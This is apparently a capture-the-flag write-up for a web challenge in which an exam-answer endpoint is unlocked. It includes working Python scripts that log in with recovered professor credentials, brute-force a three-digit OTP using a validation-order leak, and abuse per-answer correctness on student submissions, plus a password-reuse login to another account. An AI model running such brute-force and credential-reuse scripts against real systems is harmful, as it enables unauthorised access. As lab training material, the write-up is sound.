$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A professor-only exam-answer endpoint requires a three-digit OTP and reCAPTCHA, while student submissions disclose correctness. Solution: Enumerate OTPs through validation-order leakage, recover all answers, then complete CAPTCHA manually.
Вы уже в аккаунте профессора Барсукова (задача Сопромёд: метро). Осталось открыть ответы итогового экзамена и сдать его! Но кнопка «Показать ответы» закрыта дополнительным кодом...
The challenge continues the earlier “Сопромёд: метро” stage. We already have Professor Barsukov's credentials and must reveal the protected final-exam answers, submit a perfect exam, and obtain the current challenge secret.
The credentials recovered in the preceding challenge still work:
prof_barsukov / b4dger_st34ls_h0ney
Login confirms a teacher account with OTP protection enabled. The minified frontend bundle reveals the relevant endpoint and request shape:
GET /api/teacher/tests/1/answers POST /api/teacher/tests/1/answers Content-Type: application/json {"token":"000","captcha":"..."}
The frontend restricts token to three digits. More importantly, the server checks the OTP before validating reCAPTCHA:
000 returns invalid_otp;captcha_required when the CAPTCHA value is absent or invalid.There is no effective rate limit. This creates a 1,000-value brute-force oracle. The flaw is also summarized by the wording of the recovered flag: the OTP check happens before the CAPTCHA check.
The professor dashboard also contained an older flag_note, represented here as avito{REDACTED}. It belonged to the preceding “метро” stage and was not the flag for this challenge.
The CAPTCHA could not be bypassed through ordinary parser tricks, so the exam itself provided another useful route. A newly registered student can call:
POST /api/student/tests/1/submit GET /api/student/submissions/{submission_id}
The submission detail returns is_correct separately for every answer. Since accounts are freely registered, each account provides a one-shot, five-question score oracle.
Initial controlled submissions confirmed several answers directly. The teacher's submission list then disclosed that student abcdefgh had a full score. A bounded same-username/password reuse check with abcdefgh:abcdefgh succeeded, and that student's owned submission 875 disclosed the complete answer set:
когтивсеночьсопромедмедоедA fresh controlled account submitted these values. Submission 14334 returned five true is_correct fields and a score of 5/5.
Authenticate as the professor, then distinguish invalid_otp from captcha_required:
#!/usr/bin/env python3 import requests BASE = "https://sopromed-enw644k1.avitoctf.ru" s = requests.Session() r = s.post( f"{BASE}/api/auth/login", json={"username": "prof_barsukov", "password": "b4dger_st34ls_h0ney"}, timeout=15, ) r.raise_for_status() for value in range(1000): token = f"{value:03d}" r = s.post( f"{BASE}/api/teacher/tests/1/answers", json={"token": token, "captcha": ""}, timeout=15, ) data = r.json() if data.get("error") != "invalid_otp": print("OTP candidate:", token, data) break
The unique candidate that reaches CAPTCHA validation is 349.
The following core request sequence demonstrates the per-question correctness oracle. Registration must use a fresh username for each one-shot attempt:
import requests BASE = "https://sopromed-enw644k1.avitoctf.ru" s = requests.Session() s.post( f"{BASE}/api/auth/register", json={ "username": "fresh_unique_student", "full_name": "Controlled Student", "password": "honeybadger123", }, timeout=15, ).raise_for_status() answers = { "1": "когти", "2": "все", "3": "ночь", "4": "сопромед", "5": "медоед", } r = s.post( f"{BASE}/api/student/tests/1/submit", json={"answers": answers}, timeout=15, ) r.raise_for_status() submission_id = r.json()["submission_id"] r = s.get(f"{BASE}/api/student/submissions/{submission_id}", timeout=15) r.raise_for_status() result = r.json() print(result["submission"]["score"], result["submission"]["total"]) print([(x["position"], x["is_correct"]) for x in result["answers"]])
The canonical controlled run was submission 14334, scoring 5/5.
No automated CAPTCHA bypass was used. Launch a headed Playwright browser, authenticate as the professor, navigate to the protected page, and pre-fill OTP 349. A human then completes reCAPTCHA and clicks the reveal button. The response listener records the successful API response without requiring the UI to render it first:
#!/usr/bin/env python3 import json from pathlib import Path from playwright.sync_api import sync_playwright BASE = "https://sopromed-enw644k1.avitoctf.ru" with sync_playwright() as p: browser = p.chromium.launch(headless=False, channel="chrome") page = browser.new_page() def capture(response): if ( response.request.method == "POST" and response.url == f"{BASE}/api/teacher/tests/1/answers" and response.status == 200 ): Path("captcha-result.json").write_text( json.dumps( {"status": response.status, "body": response.json()}, ensure_ascii=False, indent=2, ) + "\n" ) page.on("response", capture) page.goto(f"{BASE}/login") page.locator("#login-username").fill("prof_barsukov") page.locator("#login-password").fill("b4dger_st34ls_h0ney") page.get_by_role("button", name="Вход").click() page.wait_for_url("**/dashboard") page.goto(f"{BASE}/teacher/tests/1/answers") page.locator("#gate-token").fill("349") input("Complete reCAPTCHA, click «Раскрыть ответы», then press Enter here...") browser.close()
The captured POST returned HTTP 200. Its JSON body contained the five official answers and the current challenge secret in test.secret. The canonical evidence is captcha-result.json.
text/plain variants either returned captcha_required or failed validation.These were negative findings, not part of the successful path. The final CAPTCHA was completed manually in a headed browser.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar